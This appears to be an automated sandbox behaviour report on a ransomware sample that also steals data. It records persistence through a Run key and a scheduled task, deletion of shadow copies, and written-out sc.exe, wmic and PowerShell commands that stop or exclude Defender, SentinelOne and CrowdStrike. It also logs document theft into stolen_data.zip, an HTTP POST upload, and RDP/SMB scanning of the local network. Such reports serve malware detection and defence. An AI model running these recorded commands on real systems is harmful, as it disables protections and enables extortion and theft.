Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'tKasybbn' = '"<Full path to file>"'
Creates or modifies the following files
- <SYSTEM32>\tasks\tkasybbn
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
deletes volume shadow copies.
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"<Current directory>\""
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\sdszfo.docx
Modifies file system
Creates the following files
- %TEMP%\_mei43042\crypto\cipher\_arc4.pyd
- %TEMP%\_mei43042\crypto\cipher\_salsa20.pyd
- %TEMP%\_mei43042\crypto\cipher\_chacha20.pyd
- %TEMP%\_mei43042\crypto\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_aes.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_aesni.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_arc2.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_blowfish.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_cast.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_cbc.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_cfb.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_ctr.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_des.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_des3.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_ecb.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_ocb.pyd
- %TEMP%\_mei43042\crypto\cipher\_raw_ofb.pyd
- %TEMP%\_mei43042\crypto\hash\_blake2b.pyd
- %TEMP%\_mei43042\crypto\hash\_blake2s.pyd
- %TEMP%\_mei43042\crypto\hash\_md2.pyd
- %TEMP%\_mei43042\crypto\hash\_md4.pyd
- %TEMP%\_mei43042\crypto\hash\_md5.pyd
- %TEMP%\_mei43042\crypto\hash\_ripemd160.pyd
- %TEMP%\_mei43042\crypto\hash\_sha1.pyd
- %TEMP%\_mei43042\crypto\hash\_sha224.pyd
- %TEMP%\_mei43042\crypto\hash\_sha256.pyd
- %TEMP%\_mei43042\crypto\hash\_sha384.pyd
- %TEMP%\_mei43042\crypto\hash\_sha512.pyd
- %TEMP%\_mei43042\crypto\hash\_ghash_clmul.pyd
- %TEMP%\_mei43042\crypto\hash\_ghash_portable.pyd
- %TEMP%\_mei43042\crypto\hash\_keccak.pyd
- %TEMP%\_mei43042\crypto\hash\_poly1305.pyd
- %TEMP%\_mei43042\crypto\math\_modexp.pyd
- %TEMP%\_mei43042\crypto\protocol\_scrypt.pyd
- %TEMP%\_mei43042\crypto\publickey\_curve25519.pyd
- %TEMP%\_mei43042\crypto\publickey\_curve448.pyd
- %TEMP%\_mei43042\crypto\publickey\_ec_ws.pyd
- %TEMP%\_mei43042\crypto\publickey\_ed25519.pyd
- %TEMP%\_mei43042\crypto\publickey\_ed448.pyd
- %TEMP%\_mei43042\crypto\util\_cpuid_c.pyd
- %TEMP%\_mei43042\crypto\util\_strxor.pyd
- %TEMP%\_mei43042\vcruntime140.dll
- %TEMP%\_mei43042\vcruntime140_1.dll
- %TEMP%\_mei43042\_asyncio.pyd
- %TEMP%\_mei43042\_bz2.pyd
- %TEMP%\_mei43042\_cffi_backend.cp312-win_amd64.pyd
- %TEMP%\_mei43042\_ctypes.pyd
- %TEMP%\_mei43042\_decimal.pyd
- %TEMP%\_mei43042\_hashlib.pyd
- %TEMP%\_mei43042\_lzma.pyd
- %TEMP%\_mei43042\_multiprocessing.pyd
- %TEMP%\_mei43042\_overlapped.pyd
- %TEMP%\_mei43042\_queue.pyd
- %TEMP%\_mei43042\_socket.pyd
- %TEMP%\_mei43042\_ssl.pyd
- %TEMP%\_mei43042\_uuid.pyd
- %TEMP%\_mei43042\_wmi.pyd
- %TEMP%\_mei43042\base_library.zip
- %TEMP%\_mei43042\certifi\cacert.pem
- %TEMP%\_mei43042\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei43042\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\installer
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\metadata
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\record
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\wheel
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\licenses\license
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\licenses\license.apache
- %TEMP%\_mei43042\cryptography-46.0.2.dist-info\licenses\license.bsd
- %TEMP%\_mei43042\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei43042\libcrypto-3.dll
- %TEMP%\_mei43042\libffi-8.dll
- %TEMP%\_mei43042\libssl-3.dll
- %TEMP%\_mei43042\psutil\_psutil_windows.pyd
- %TEMP%\_mei43042\pyexpat.pyd
- %TEMP%\_mei43042\python3.dll
- %TEMP%\_mei43042\python312.dll
- %TEMP%\_mei43042\select.pyd
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei43042\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei43042\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei43042\sspilib\raw\_context_attributes.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_credential.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_credential_attributes.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_message.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_ntstatus.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_security_buffer.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_security_context.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_security_package.cp312-win_amd64.pyd
- %TEMP%\_mei43042\sspilib\raw\_text.cp312-win_amd64.pyd
- %TEMP%\_mei43042\unicodedata.pyd
- %TEMP%\_mei43042\winsound.pyd
- C:\ransom.html
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-68ec5a5a-10cc.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-68ec5a5e-1144.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
- %LOCALAPPDATA%\microsoft\edge\user data\last browser
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferredapps
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
- <SYSTEM32>\windowspowershell\v1.0\stolen_data.zip
- %LOCALAPPDATA%\microsoft\edge\user data\functional data-wal
- %LOCALAPPDATA%\microsoft\edge\user data\functional san data-wal
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-68ec5a5a-10cc.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-68ec5a5e-1144.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
Moves the following files
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
Modifies the following files
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\visited links
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
- %LOCALAPPDATA%\microsoft\edge\user data\default\history
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\e2c6cbaf0af08cf203ba74bf0d0ab6d5_6372e0472aff76bb926c97818bc773b9
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\fb0d848f74f70bb2eaa93746d24d9749
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\77ec63bda74bd0d0e0426dc8f8008506
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\content\77ec63bda74bd0d0e0426dc8f8008506
- %TEMP%\.ses
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
Network activity
Connects to
- 'ap#.msn.com':443
- '<LOCALNET>..60.1':3389
- 'sm##.gmail.com':587
- '<LOCALNET>..60.1':445
- '<LOCALNET>..60.2':3389
- '<LOCALNET>..60.3':3389
- '<LOCALNET>..60.4':3389
- '<LOCALNET>..60.5':3389
- '<LOCALNET>..60.6':3389
- '<LOCALNET>..60.7':3389
- '<LOCALNET>..60.8':3389
- '<LOCALNET>..60.9':3389
- '<LOCALNET>..60.10':3389
- '<LOCALNET>..60.11':3389
- 'yo####2-server.com':80
- '<LOCALNET>..60.12':3389
- '<LOCALNET>..60.13':3389
- '<LOCALNET>..60.14':3389
- '<LOCALNET>..60.15':3389
- 'co####.edge.skype.com':443
- '<LOCALNET>..60.16':3389
- '<LOCALNET>..60.17':3389
- '<LOCALNET>..60.18':3389
- '<LOCALNET>..60.19':3389
- '<LOCALNET>..60.20':3389
- '<LOCALNET>..60.21':3389
- '<LOCALNET>..60.22':3389
- '<LOCALNET>..60.2':445
- '<LOCALNET>..60.23':3389
- '<LOCALNET>..60.24':3389
- '<LOCALNET>..60.25':3389
- '<LOCALNET>..60.26':3389
- '<LOCALNET>..60.27':3389
- '<LOCALNET>..60.28':3389
- '<LOCALNET>..60.29':3389
- '<LOCALNET>..60.30':3389
- '<LOCALNET>..60.31':3389
- '<LOCALNET>..60.32':3389
- '<LOCALNET>..60.33':3389
- '<LOCALNET>..60.34':3389
- '<LOCALNET>..60.35':3389
- '<LOCALNET>..60.36':3389
- '<LOCALNET>..60.37':3389
- '<LOCALNET>..60.38':3389
- '<LOCALNET>..60.39':3389
- '<LOCALNET>..60.40':3389
- '<LOCALNET>..60.41':3389
- '<LOCALNET>..60.42':3389
- '<LOCALNET>..60.43':3389
- '<LOCALNET>..60.3':445
- '<LOCALNET>..60.44':3389
- '<LOCALNET>..60.45':3389
- '<LOCALNET>..60.46':3389
- '<LOCALNET>..60.47':3389
- '<LOCALNET>..60.48':3389
- '<LOCALNET>..60.49':3389
- '<LOCALNET>..60.50':3389
- '<LOCALNET>..60.51':3389
- '<LOCALNET>..60.52':3389
- '<LOCALNET>..60.53':3389
- '<LOCALNET>..60.54':3389
- '<LOCALNET>..60.55':3389
- '<LOCALNET>..60.56':3389
- '<LOCALNET>..60.57':3389
- '<LOCALNET>..60.58':3389
- '<LOCALNET>..60.59':3389
- '<LOCALNET>..60.60':3389
- '<LOCALNET>..60.61':3389
- '<LOCALNET>..60.62':3389
- '<LOCALNET>..60.63':3389
- '<LOCALNET>..60.64':3389
- '<LOCALNET>..60.4':445
- '<LOCALNET>..60.65':3389
- '<LOCALNET>..60.66':3389
- '<LOCALNET>..60.67':3389
- '<LOCALNET>..60.68':3389
- '<LOCALNET>..60.69':3389
- '<LOCALNET>..60.70':3389
- '<LOCALNET>..60.71':3389
- '<LOCALNET>..60.72':3389
- '<LOCALNET>..60.73':3389
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?4b##############
HTTP POST requests
- http://yo####2-server.com/upload
Other
- 'ap#.msn.com':443
- 'sm##.gmail.com':587
- 'co####.edge.skype.com':443
UDP
- DNS ASK ap#.msn.com
- DNS ASK sm##.gmail.com
- DNS ASK yo####2-server.com
- DNS ASK co####.edge.skype.com
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
Restarts the analyzed sample
Executes the following
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\sc.exe' stop Sense
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\wbem\wmic.exe' process where name=\"csfalconsensor.exe\" delete
- '<SYSTEM32>\sc.exe' stop SentinelAgent
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v tKasybbn /t REG_SZ /d \"<Full path to file>\" /f
- '<SYSTEM32>\schtasks.exe' /create /tn tKasybbn /tr \"<Full path to file>\" /sc onlogon /rl highest
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument C:\RANSOM.html
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(New-Object -ComObject WScript.Shell).SendKeys('{F11}')"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate "C:\RANSOM.html"
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1752,17958298006277361751,3324629450429884520,131072 --lang=en-US --service-sandbox-type=none --mojo-...
- '<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate "C:\RANSOM.html"' (with hidden window)
